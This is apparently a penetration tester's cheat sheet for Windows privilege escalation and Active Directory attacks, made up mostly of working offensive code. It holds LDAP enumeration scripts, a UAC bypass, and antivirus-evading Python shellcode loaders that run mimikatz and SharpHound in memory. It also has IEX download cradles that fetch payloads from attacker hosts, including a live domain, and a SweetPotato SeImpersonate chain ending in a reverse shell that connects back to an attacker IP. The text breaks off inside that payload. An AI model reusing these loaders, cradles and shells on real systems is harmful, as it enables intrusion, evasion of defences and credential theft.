LPE/HOST


Dumb reminders
- Domain user can be member of a machine localgroup, you need to try to spread creds on differents protocols (rdp, wmi, smb, winrm, mssql …)
- One user (domain or local) can probably access multiple machines
- Admins often leave creds cache on machines
- Code execution is not always the main objective, sometimes creds juste give a share access
Vulns to check : HiveNightmare, PrintNightmare

Misc

# Recursively list current dir
Get-ChildItem . -File -Recurse -ErrorAction SilentlyContinue -Force | Select Length, FullName |Out-String -width 999
CMD.EXE /C dir /s/b *

# Users
whoami /all
net user ; ls / ; ls /users/ ; ls /users/* ; ls /users/*/* ; ls /users/*/*/*

# Groups
net localgroup "Administrators"
net localgroup ; net localgroup "Remote Management Users" ; net localgroup "Remote Desktop Users"

# Creds
cmdkey /list # Go to the creds part if any user here

# PS history
cat (Get-PSReadlineOption).HistorySavePath
ls C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# TaskScheduler logs ?????? (last 10 events)
wevtutil qe Microsoft-Windows-TaskScheduler/Operational /f:text /c:10

# PowerShell Script Block Logging (just list events by user)
Get-WinEvent -FilterHashtable @{ logname = "*Operational"; id = 4104 }  | select RecordId, TimeCreated, @{name='UserName';expression= {$_.UserId.Translate([System.Security.Principal.NTAccount])}}, MachineName, LevelDisplayName | Sort-Object -Property RecordId|Format-Table -AutoSize|Out-String -width 999
# PowerShell Script Block Logging (print all messages)
Get-WinEvent -FilterHashtable @{ logname = "*Operational"; id = 4104 }  | select RecordId, TimeCreated, @{name='UserName';expression= {$_.UserId.Translate([System.Security.Principal.NTAccount])}}, LevelDisplayName, MachineName, Message | Sort-Object -Property RecordId

# Search for files
Get-ChildItem -Include proof.txt, local.txt, *.kdbx -Path / -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users -Include *.kdbx,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.ini -File -Recurse -ErrorAction SilentlyContinue

# Listening ports
netstat -aon

# Process
[System.Diagnostics.Process]::GetCurrentProcess()|select * # Current process info
[System.Diagnostics.Process]::GetProcesses()|where {$_.Path -notmatch "^$" -and $_.Company -notmatch "Microsoft*" -and $_.ProcessName -notmatch "svchost|msedge|Widgets|ShellExperience|msteams|StartMenu|SearchHost"} | Select ID,SI,Path|Format-Table -AutoSize|Out-String -width 9999
Get-WmiObject Win32_Process | where {$_.Path -notmatch "^$" -and $_.Company -notmatch "Microsoft*" -and $_.ProcessName -notmatch "svchost|msedge|Widgets|ShellExperience|msteams|StartMenu|SearchHost"} | Select ExecutablePath,@{Label="Owner";Expression={$_.GetOwner().User}},Handle,CommandLine|Format-Table -AutoSize|Out-String -width 9999

# Softs
ls /program*/*
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|Format-Table|Out-String -width 9999
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*|Select-Object DisplayName,DisplayVersion,Publisher,InstallDate|Format-Table|Out-String -width 9999
Get-WmiObject -Class Win32_Product | select Vendor,Name,Version |Format-Table|Out-String -width 9999

# Tasks
CMD /C "schtasks.exe /Query /FO CSV /V" | ConvertFrom-CSV | where{$_.Author-notmatch "Microsoft*|^$|SYSTEM|^*SystemRoot*|N/A|Author"}|ForEach-Object{"-"*100;$_}|Out-String -width 9999
Get-ScheduledTask|where{$_.Author-notmatch "Microsoft*|^$|SYSTEM|^*SystemRoot*"}|ForEach-Object{"-"*100;schtasks.exe /query /fo LIST /v /tn $_.URI}|Out-String -width 9999

#schtasks /create /sc minute /mo 60 /tn "TASK1" /tr "C:\test\r.exe" # /ru SYSTEM /RL HIGHEST
#schtasks /run /tn "TASK1"
#schtasks /delete /tn "TASK1" /f

# Default programs for extensions types
CMD /C Ftype # List of programs <> type
CMD /C Assoc # List of extensions <> type


Domain info


net user johndoe /domain
net group /domain "Domain Admins"
net group /domain "Protected Users"
echo "$env:logonserver" 2>&1
Get-WmiObject -Namespace root\cimv2 -Class Win32_ComputerSystem | Select Name, Domain
Get-WmiObject -Class Win32_NTDomain | select DomainControllerName, DomainControllerAddress, DomainName, DnsForestName
Test-ComputerSecureChannel -Verbose # -Server "DC01.domain.com"

# Retrieve infos with LDAP queries
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();$domainObj;$domainObj.DomainControllers | Foreach { Write-Host ... $_.Name ... $_.IPAddress }
$LDAP = "LDAP://" + $domainObj.PdcRoleOwner.Name + "/" + ([adsi]'').distinguishedName
$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)
$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter="";$ALL = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=user";$users = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=group";$groups = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=computer";$computers = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=groupPolicyContainer";$GPOs = $dirsearcher.FindAll()
$dirsearcher.filter="objectCategory=domainDNS";$domainDNS = $dirsearcher.FindAll()
$dirsearcher.filter="(&(isCriticalSystemObject=TRUE))";$CriticalSystemObjects = $dirsearcher.FindAll()

# Check Machine Account Quota (if > 0 you can try to perform RBCD attack based on added computer, protected users can't be impersonated)
foreach ($obj in $domainDNS) { $quota = $obj.Properties["ms-ds-machineaccountquota"]; if ($quota -ne $Null ){  Write-Host $quota $obj.Path }}

# Print users and list groups if any, check for admincount property and read some userAccountControl flags.
# userAccountControl flags list : https://learn.microsoft.com/en-us/windows/win32/api/iads/ne-iads-ads_user_flag_enum
Foreach($obj in $users)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = ""
    $ADS_USER_FLAGS = @{ SCRIPT = 0x1; ACCOUNTDISABLE = 0x2; HOMEDIR_REQUIRED = 0x8; LOCKOUT = 0x10; PASSWD_NOTREQD = 0x20; PASSWD_CANT_CHANGE = 0x40; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; TEMP_DUPLICATE_ACCOUNT = 0x100; INTERDOMAIN_TRUST_ACCOUNT = 0x800; WORKSTATION_TRUST_ACCOUNT = 0x1000; SERVER_TRUST_ACCOUNT = 0x2000; DONT_EXPIRE_PASSWD = 0x10000; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; PASSWORD_EXPIRED = 0x800000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
    foreach ($FLAG in $ADS_USER_FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $ADS_USER_FLAGS[$FLAG])){ $state += " $FLAG" } }
    if ( $obj.Properties['admincount'] -ne $null ){ $state += " ADMINCOUNT" }
    if ($name -ne $sam){ $name = "$sam --- $name" };
    Write-Host "USERS# --- $name ---$state" -ForegroundColor Green
    $memberof = $obj.Properties['memberof']
    if ( $memberof -ne $null){ $memberof | ForEach-Object { "USERS#     $_" } -end { "USERS#" } }
}

# Print populated groups, check for admincount property
Foreach($obj in $groups)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $member = $obj.Properties['member']; $admincount = $obj.Properties['admincount']
    if ( $admincount -ne $null ){ $admincount = "(ADMINCOUNT)" }
    if ( $member -ne $null){
        if ($name -ne $sam){ $name = "$sam --- $name" }
        Write-Host "GROUPS# --- $name --- $admincount" -ForegroundColor Green
        $member | ForEach-Object { "GROUPS#     $_" } -end { "GROUPS#" }
    }
}

# List computers with os version
Foreach($obj in $computers)
{
    $name = $obj.Properties['dnshostname']; $state = ""
    $FLAGS = @{ SCRIPT = 0x1; ACCOUNTDISABLE = 0x2; HOMEDIR_REQUIRED = 0x8; LOCKOUT = 0x10; PASSWD_NOTREQD = 0x20; PASSWD_CANT_CHANGE = 0x40; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; TEMP_DUPLICATE_ACCOUNT = 0x100; INTERDOMAIN_TRUST_ACCOUNT = 0x800; WORKSTATION_TRUST_ACCOUNT = 0x1000; SERVER_TRUST_ACCOUNT = 0x2000; DONT_EXPIRE_PASSWD = 0x10000; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; PASSWORD_EXPIRED = 0x800000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
    foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } }
    if ( $obj.Properties['admincount'] -ne $null ){ $state += " ADMINCOUNT" }
    $os = $obj.Properties['operatingsystem']; $osversion = $obj.Properties['operatingsystemversion']
    Write-Host "COMPUTERS#     $name -- $os -- $osversion -- $state"
}

# List users SPNs (Users are Kerberoastable but you can also list others SPNs instead of users)
foreach($obj in $users)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"];
    $serviceprincipalname = $obj.Properties['serviceprincipalname']
    if ($serviceprincipalname -ne $null){
        if ($name -ne $sam){ $name = "$sam --- $name" }
        Write-Host "SPN# --- $name --- " -ForegroundColor Green
        $serviceprincipalname | ForEach-Object { "SPN#     $_" } -end { "SPN#" }
    }
}

# List unusual user flags (DONT_REQUIRE_PREAUTH flag means the account is AS REP Roastable)
Foreach($obj in $users)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = ""
    $FLAGS = @{ PASSWD_NOTREQD = 0x20; ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; INTERDOMAIN_TRUST_ACCOUNT = 0x800; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
    foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } }
    if ( (-not [bool]($obj.Properties["userAccountControl"][0] -band 0x100000)) -and ($obj.Properties['admincount'] -ne $null)){ $state += " DELEGATED_ADMIN" } #Delegated and admin
    if ( [bool]($obj.Properties["userAccountControl"][0] -band 0x2)){ continue } #Disabled
    if ($name -ne $sam){ $name = "$sam --- $name" }
    if ( $state -ne "" ){Write-Host "USERS# --- $name ---$state"}
}

# List unusual computer flags (if TRUSTED_FOR_DELEGATION and not a DC check for Unconstrained Delegation, and if TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION for constrained)
Foreach($obj in $computers)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]; $state = ""
    $FLAGS = @{ ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x80; INTERDOMAIN_TRUST_ACCOUNT = 0x800; MNS_LOGON_ACCOUNT = 0x20000; SMARTCARD_REQUIRED = 0x40000; TRUSTED_FOR_DELEGATION = 0x80000; NOT_DELEGATED = 0x100000; USE_DES_KEY_ONLY = 0x200000; DONT_REQUIRE_PREAUTH = 0x400000; TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x1000000 }
    foreach ($FLAG in $FLAGS.Keys) { if ( [bool]($obj.Properties["userAccountControl"][0] -band $FLAGS[$FLAG])){ $state += " $FLAG" } }
    if ( [bool]($obj.Properties["userAccountControl"][0] -band 0x2)){ continue } #Disabled
    if ($name -ne "$sam".replace('$','')){ $name = "$sam --- $name" }
    if ( $state -ne "" ){Write-Host "COMPUTERS# --- $sam ---$state"}
}

# List ACLs, exclude CriticalSystemObjects, exclude Inherited, filter on domain objects
$CriticalSystemObjectsSID = $CriticalSystemObjects | ForEach-Object { $sid = $_.Properties["objectSid"][0] ; if ($sid -ne $null){(New-Object System.Security.Principal.SecurityIdentifier($_.Properties["objectSid"][0],0)).Value }}
$DomainObjects = $users + $computers + $groups + $GPOs
$DomainObjectsSID = $DomainObjects | ForEach-Object { $sid = $_.Properties["objectSid"][0] ; if ($sid -ne $null){(New-Object System.Security.Principal.SecurityIdentifier($_.Properties["objectSid"][0],0)).Value }}
Foreach($obj in $DomainObjects)
{
    $name = $obj.Properties["name"]; $sam = $obj.Properties["samaccountname"]
    $aclList = (New-Object System.DirectoryServices.DirectoryEntry($obj.Path)).PSBase.ObjectSecurity.GetAccessRules($true, $false, [System.Security.Principal.SecurityIdentifier])
    $Identities = @{}; foreach($ACL in $aclList){try{
        if ( $CriticalSystemObjectsSID.Contains($ACL.IdentityReference.Value) ){ continue }
        if ( -Not $DomainObjectsSID.Contains($ACL.IdentityReference.Value) ){ continue }
        $Identity = (New-Object System.Security.Principal.SecurityIdentifier($ACL.IdentityReference)).Translate([System.Security.Principal.NTAccount]).Value
        $Rights = $ACL.ActiveDirectoryRights ; $Rights = "$Rights".replace(" ","").Split(",")
        if ( $Identities["$Identity"] -eq $Null ){ $Identities["$Identity"] = @($Rights) } else { $Identities["$Identity"] += $Rights }
    }catch{}} ; if ($name -ne "$sam".replace('$','')){ $name = "$sam --- $name" }
    foreach ($Identity in $Identities.Keys) { Write-host "ACE# -- $sam <-- $Identity ($(($Identities.$Identity|Sort-Object -Unique) -join ", "))"}
}

# List GPOs
$GPOs | ForEach-Object { $p=$_.Properties; $r = "GPO# $($p.name) -- $($p.displayname) -- Created $($p.whencreated)"; $r = [string]::join("",($r.Split("`n"))); Write-host $r }

# List GPOs by object in domain
Foreach($obj in $ALL)
{
    $gplink = $obj.Properties.gplink; if ( $gplink -eq $null ){ continue }
    $gpoptions = $obj.Properties.gpoptions
    $name = $obj.Properties["name"]; $desc = $obj.Properties["description"]; $dn = $obj.Properties["distinguishedname"]; $category = $obj.Properties["objectCategory"]
    Write-host "GPO# -- $name -- $desc -- $dn -- $category -- gpoptions:'$gpoptions'" -ForegroundColor Green
    $gplink | ForEach-Object {
        $_ -match ".*({.*}).*;(\w+)"| Out-Null; $gpoid = $matches[1]; $status = $matches[2]
        $statusdesc = switch($status){0{"LinkEnabled"}1{"LinkDisabled"}2{"LinkEnabled Enforced"}3{"Enforced"}}
        $GPOs | ForEach-Object { if ( $_.Properties.name -eq $gpoid ){$gpodisplayname = $_.Properties.displayname}}
        Write-host "GPO#    GPO: $gpoid -- $status=$statusdesc -- $gpodisplayname"
    } -end { "GPO#" }
}

# List SYSVOL shares files of Domain Controllers (you can search for cpassword inside files)
foreach ($Server in $domainObj.DomainControllers.Name){
    $c=[System.Net.Sockets.TcpClient]::new();if($c.ConnectAsync($Server,445).Wait(300)){$c.Close()}else{continue}
    Get-ChildItem "\\$Server\SYSVOL\$($domainObj.Name)" -File -Recurse -ErrorAction SilentlyContinue -Force | Select Length, FullName |Out-String -width 999
}

# List Shares (test 445 for each computer with 300ms timeout, list shares and check if readable/writable)
foreach ($Server in $computers.Properties.dnshostname){
    $c=[System.Net.Sockets.TcpClient]::new();if($c.ConnectAsync($Server,445).Wait(300)){$c.Close()}else{continue}
    (net view $Server /all)|foreach{$infos=convertfrom-string $_.trim() -delim '\s{2,}' -propertynames 'Share','Type','UsedAs','Comment';
    if($infos.Type -eq 'Disk'){$shareName=$infos.Share;$state="";
    if([System.IO.Directory]::Exists("\\$Server\$shareName")){$state+="R"}else{$state+="-"}
    $f="\\$Server\$shareName\testwritable";Try{[io.file]::OpenWrite($f).close();Remove-Item $f;$state+="W"}Catch{$state+="-"}
    Write-Host " $state  \\$Server\$shareName   ## $($infos.UsedAs)   $($infos.Comment)"}}
}

In-Memory SharpHound (You need loadsc script from AV section, and embeddable 32bits python)
sudo wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe -O /var/www/html/SharpHound.exe
PARAMS='-c All'
INPUT_FILE='/var/www/html/SharpHound.exe'
SHELLCODE_OUTPUT_FILE='/tmp/SharpHoundsc'
ENCODED_PAYLOAD_FILE='/var/www/html/SharpHound'
python3 -c "import donut; donut.create(thread=1,compress=2,bypass=1,exit_opt=1,arch=1,file='$INPUT_FILE',output='$SHELLCODE_OUTPUT_FILE',params=bytes.fromhex('$( echo -en "$PARAMS" | xxd -plain | tr -d '\n' )').decode('utf-8'))"
cat "$SHELLCODE_OUTPUT_FILE" | xxd -plain | tr -d '\n' | rev | gzip | sudo tee "$ENCODED_PAYLOAD_FILE" >/dev/null

cat <<'EOF'|sudo tee /var/www/html/startSharpHound
$loadsc="$web/loadsc"; $sc="$web/SharpHound"; $python="$web/python32.zip"; $dir="$env:TEMP";
$Exists = Test-Path "$dir\python32\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python32.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python32.zip", "$dir\python32\")};
$arguments = @("-c","""import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')""")
Start-Process -NoNewWindow -FilePath "$dir\python32\python.exe" -ArgumentList $arguments
EOF
$web="http://192.168.1.123";IEX(New-Object Net.WebClient).downloadString("$web/startSharpHound")


Creds

SavedCreds

# Check for saved creds
cmdkey /list

# Usage
runas /user:DOMAIN\Administrator /savecred "cmd.exe /c whoami > c:\whoami.txt"
runas /user:DOMAIN\Administrator /savecred "c:\reverse\payload.exe"

RunAS

Start process as another user with runas (https://juggernaut-sec.com/runas/)
You probably need a GUI interface (rdp)
# powershell -ep bypass
$user = 'JohnDoe'
$pass = 'JohnDoePassword'
$cmd = '-c "whoami /all"'
$shell = 'POWERSHELL.EXE'
$domain = hostname # Modify if any or distant machine name
$passwd = ConvertTo-SecureString $pass -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential("$domain\$user", $passwd)

# No output
Start-Process -FilePath $shell -Credential $cred -ArgumentList $cmd

# Retrieve stdout & stderr
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = $shell
$pinfo.UserName = $user
$pinfo.Domain = $domain
$pinfo.Password = ConvertTo-SecureString $pass -AsPlaintext -Force
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.CreateNoWindow = $true
$pinfo.Arguments = $cmd
$pinfo.WorkingDirectory = 'C:\'
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null

$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
$p.WaitForExit()
Write-Host "stdout: $stdout"
Write-Host "stderr: $stderr"
Write-Host "exit code: " + $p.ExitCode

WinRM

Start process as another user with WinRM protocol (localhost or remote target)
User must be part of “Remote Management Users” group
$user = 'JohnDoe'
$pass = 'JohnDoePassword'
$domain = hostname # Modify if !self
$machine = hostname # Modify if !self

Test-WsMan $machine # Test is WINRM service is available

$passwd = ConvertTo-SecureString $pass -AsPlaintext -Force
$cred = New-Object System.Management.Automation.PSCredential("$domain\$user", $passwd)
$session = New-PSSession -ComputerName $machine -Credential $cred

Get-PSSession # List sessions

Enter-PSSession -session $session # Interactive PS session (PS commands only)
# Invoke-Command -session $session -scriptblock { whoami /all }
# Invoke-Command -session $session -scriptblock { powershell -c "ls" }

# Exit-PSSession
# exit 0
# Remove-PSSession $session

Services

# List services
Get-CimInstance -ClassName win32_service|Select Name,State,StartMode,StartName,PathName|Format-Table|Out-String -width 999|findstr /i /v /c:"\Windows" /c:"\Microsoft"

# Retrieve infos about service
sc.exe qc "MyService"
sc.exe query "MyService"
$svc="MyService";$r=sc.exe sdshow $svc;$r=ConvertFrom-SddlString "$r";%{$r.DiscretionaryAcl-replace": AccessAllowed \(|, |\)","`n`t"} # Permissions
check for unquoted path :
If you see unquoted path : C:\dir\a b\c.exe instead of “C:\dir\a b\c.exe”
The system will try C:\dir\a.exe path first before “C:\dir\a b\c.exe”
If C:\dir\ is writable then you can create a fake service
(BTW folders created into C:\ have extended rights by default)
# Check if "C:\dir\" is writable, F (full access), AD (append data/add subdirectory), WD (write data/add file)
icacls "C:\dir\"
Put a payload at “C:\dir\a.exe”
Then start the service
# Start service
sc.exe start "MyService"

Look for dll you can replace (existing or missing ones)
Export the service PE file to your machine for investigation.
You can dynamically search for missing DLL with procmon, or statically search for DLL names into text section with rz-bin
rz-bin -zzz /tmp/share/myservice.exe | grep -i dll

UAC

Checks

You can check your integrity level with whoami /groups
For example if you are member of “Mandatory LabelMedium Mandatory Level” group you are in a medium integrity process

You can also check the SID number instead of the name
CMD.EXE /C whoami /groups|Select-String -Pattern '^.*S-1-16-([0-9]*).*$'|%{Switch($_.matches.groups[1]){0{"UNTRUSTED"}4096{"LOW"}8192{"MEDIUM"}8448{"MEDIUMPLUS"}12288{"HIGH"}16384{"SYSTEM"}20480{"PROTECTEDPROCESS"}}}

Then, check UAC status:
# 0x1 = UAC Enabled
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

# UAC mode : 5=default will prompt to confirm, 0 = Disabled, 1=Ask for password
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

# If set, disable UAC for: 0=RID500, 1=Administrators members
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v LocalAccountTokenFilterPolicy

# If 0 (default), the built-in Administrator account can do remote administration tasks and if 1 the built-in account Administrator cannot do remote administration tasks, unless LocalAccountTokenFilterPolicy is set to 1.
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v FilterAdministratorToken
If UAC doen’t affect you, then you can already run as admin
mkdir c:\r ; wget 10.10.14.121/r.exe -O  C:\r\r.exe
Start-Process powershell -Verb runAs "c:\r\r.exe"

Bypass

Use case:
You are into the administrators group but your session is in medium level integrity
You want to open an admin terminal or run a command as admin (High integrity)

reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "c:\r\r.exe" /f
mkdir c:\r ; wget 10.10.14.121/r.exe -O  C:\r\r.exe ; CMD.EXE /C start computerdefaults.exe

AV Bypass

Requirements:
- Web server (to host payloads)
- Connectivity between your target and your web server
- /var/www/html/python.zip (pick a stable version from https://www.python.org/downloads/windows/)
Installing donut package (transform exe to shellcode)
pip3 install -U donut-shellcode --break-system-packages

This python function load encoded shellcode payload from url and load it in-memory heap
cat <<'EOF'| xxd -plain | tr -d '\n' | rev | sudo tee /var/www/html/loadsc >/dev/null
import ctypes, ctypes.wintypes as wt
import gzip, io, urllib.request as r, platform as p

def load(url):
    print(f"[*] Given URL : {url}", flush=True)
    kernel32 = ctypes.windll.kernel32
    buff = bytes.fromhex(gzip.open(io.BytesIO(r.urlopen(url).read()),'rb').read()[::-1].decode("utf-8"))
    lenbuff = len(buff)
    HeapCreate = kernel32.HeapCreate
    HeapCreate.argtypes = [wt.DWORD, ctypes.c_size_t, ctypes.c_size_t]
    HeapCreate.restype = wt.HANDLE
    heap = HeapCreate(0x00040000, lenbuff, 0)
    HeapAlloc = kernel32.HeapAlloc
    HeapAlloc.argtypes = [wt.HANDLE, wt.DWORD, ctypes.c_size_t]
    HeapAlloc.restype = wt.LPVOID
    HeapAlloc(heap, 0x00000008, lenbuff)
    RtlMoveMemory = kernel32.RtlMoveMemory
    RtlMoveMemory.argtypes = [wt.LPVOID, wt.LPVOID, ctypes.c_size_t]
    RtlMoveMemory.restype = wt.LPVOID
    RtlMoveMemory(heap, buff, lenbuff); del buff ; print(f"[*] Loading SC, Len:{lenbuff}\n", flush=True)
    CreateThread = kernel32.CreateThread
    CreateThread.argtypes = [wt.LPVOID, ctypes.c_size_t, wt.LPVOID,wt.LPVOID, wt.DWORD, wt.LPVOID]
    CreateThread.restype = wt.HANDLE
    Thread = CreateThread(0, 0, heap, 0, 0, 0)
    WaitForSingleObject = kernel32.WaitForSingleObject
    WaitForSingleObject.argtypes = [wt.HANDLE, wt.DWORD]
    WaitForSingleObject.restype = wt.DWORD
    WaitForSingleObject(Thread, 0xFFFFFFFF); print(f"\n[*] Graceful exit", flush=True)
print(f"\n[*] {p.platform()} Python {p.python_version()} ({p.architecture()[0]})", flush=True)
EOF

This python function load encoded shellcode payload from url and load it in-memory with VirtualAlloc
cat <<'EOF'| xxd -plain | tr -d '\n' | rev | sudo tee /var/www/html/loadscva >/dev/null
import ctypes as c, gzip, io, urllib.request as r, platform as p
def load(url):
    print(f"[*] Given URL : {url}", flush=True)
    k32 = c.windll.kernel32 ; k32.VirtualAlloc.restype = c.c_void_p
    ct = k32.CreateThread ; ct.argtypes = ( c.c_int, c.c_int, c.c_void_p, c.c_int, c.c_int, c.POINTER(c.c_int) ) ; ct.restype = c.c_void_p
    buff = bytes.fromhex(gzip.open(io.BytesIO(r.urlopen(url).read()),'rb').read()[::-1].decode("utf-8"))
    lenbuff = len(buff) ; space = k32.VirtualAlloc(c.c_int(0),c.c_int(lenbuff),c.c_int(0x3000),c.c_int(0x40)) ; buff = ( c.c_char * lenbuff ).from_buffer_copy( buff )
    k32.RtlMoveMemory(c.c_void_p(space),buff,c.c_int(lenbuff)) ; buff = "" ; del buff ; print(f"[*] Loading SC, Len:{lenbuff}\n", flush=True)
    handle = ct(c.c_int(0),c.c_int(0),c.c_void_p(space),c.c_int(0),c.c_int(0),c.pointer(c.c_int(0)))
    k32.WaitForSingleObject(handle, -1); print(f"\n[*] Graceful exit", flush=True)
print(f"\n[*] {p.platform()} Python {p.python_version()} ({p.architecture()[0]})", flush=True)
EOF

For demonstration we will use mimikatz as payload
# Set any parameter you want but if empty donut will send args to stdin at runtime (you can set it to space " " if you don't want any)
# PARAMS='privilege::debug sekurlsa::logonpasswords'
PARAMS=' '
INPUT_FILE='/var/www/html/mimikatz64.exe'
SHELLCODE_OUTPUT_FILE='/tmp/mimikatz64sc'
ENCODED_PAYLOAD_FILE='/var/www/html/mimi64'
python3 -c "import donut; donut.create(thread=0,compress=2,bypass=1,exit_opt=3,arch=2,file='$INPUT_FILE',output='$SHELLCODE_OUTPUT_FILE',params=bytes.fromhex('$( echo -en "$PARAMS" | xxd -plain | tr -d '\n' )').decode('utf-8'))"
cat "$SHELLCODE_OUTPUT_FILE" | xxd -plain | tr -d '\n' | rev | gzip | sudo tee "$ENCODED_PAYLOAD_FILE" >/dev/null

# test : msfvenom -p windows/x64/exec CMD="calc.exe" -f raw | xxd -plain | tr -d '\n' | rev | gzip | sudo tee /var/www/html/sc >/dev/null

Powershell script to call python
cat <<'EOF'|sudo tee /var/www/html/startmimi64
$loadsc="$web/loadsc"; $sc="$web/mimi64"; $python="$web/python.zip"; $dir="$env:TEMP";
$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")};
&$dir\python\python.exe -c "import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')";
EOF
# &$env:TEMP\python\python.exe -c "print('test')"

$web="http://1.2.3.4";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64")

# ONLINE TEST for heap method (educational purpose only)
$web="https://dl.offensive.run";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64")
# ONLINE TEST for VirtualAlloc method (educational purpose only)
$web="https://dl.offensive.run";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64va")

SeImpersonatePrivilege

SeImpersonatePrivilege privilege is enabled on services account like iis or mssql
whoami /all
[...]
Privilege Name                Description                               State
============================= ========================================= ========
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
[...]
SweetPotato leverage SeImpersonate Privilege to run arbitrary commands as SYSTEM using DCOM, WinRM, EfsRpc, or PrintSpoofer method.

Let’s abuse SeImpersonatePrivilege privilege with SweetPotato.exe as shellcode
(Require to serve embeddable python as python.zip, loadsc from AV Bypass section, and to install donut-shellcode with pip)
You need to retrieve or compile SweetPotato.exe
sudo wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SweetPotato.exe -O /var/www/html/SweetPotato.exe
# Params
IP="192.168.1.163"
PORT=53
WRITABLEPATH="C:\\Users\\user.DOMAIN\\Documents" # (Writable by current user to download python)
INPUT_FILE='/var/www/html/SweetPotato.exe'

PARAMS="import urllib.request as r;exec(bytes.fromhex(r.urlopen('http://$IP/payload').read()[::-1].decode('utf-8')));"
PARAMS="-e EfsRpc -p \"$WRITABLEPATH\python\python.exe\" -a "'"-c \"'"$PARAMS"'\""'
# Python reverse shell payload
cat <<EOF|sudo tee /var/www/html/payload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa="""
import time,socket,os,threading,subprocess as sp; flags = 0x08000000  # CREATE_NO_WINDOW
p=sp.Popen(['powershell.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT, close_fds=False, creationflags=flags, universal_newlines=True, shell=False);s=socket.socket()
for retry in range(12):
    try: s.connect(('$IP',$PORT));break
    except Error as e: time.sleep(5)
